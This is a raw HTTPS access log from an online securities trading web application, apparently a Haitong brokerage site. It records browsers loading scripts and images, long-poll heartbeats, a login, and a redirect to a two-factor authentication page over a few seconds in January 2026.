[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:08:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 89
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767919665301 HTTP/1.1" 3188
[09/Jan/2026:08:43:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:08:43:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919665310 HTTP/1.1" -
[09/Jan/2026:08:43:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919671307 HTTP/1.1" -
[09/Jan/2026:08:43:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919677306 HTTP/1.1" -
[09/Jan/2026:08:43:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919683304 HTTP/1.1" -
[09/Jan/2026:08:43:36 +0800] 193.142.147.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:08:43:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919689307 HTTP/1.1" -
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 131
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/tc/dialog.html HTTP/1.1" 3188
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:08:43:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919695308 HTTP/1.1" -
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 698
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:08:43:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:08:43:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:08:43:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:08:43:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:08:43:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:08:43:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:08:43:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:08:43:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:08:43:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:08:43:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:08:43:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:08:43:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:08:43:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767919698906 HTTP/1.1" 3188
[09/Jan/2026:08:43:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919701308 HTTP/1.1" -
[09/Jan/2026:08:43:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:08:43:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:08:43:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:08:43:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:08:43:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 463
[09/Jan/2026:08:43:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:08:43:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:08:43:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
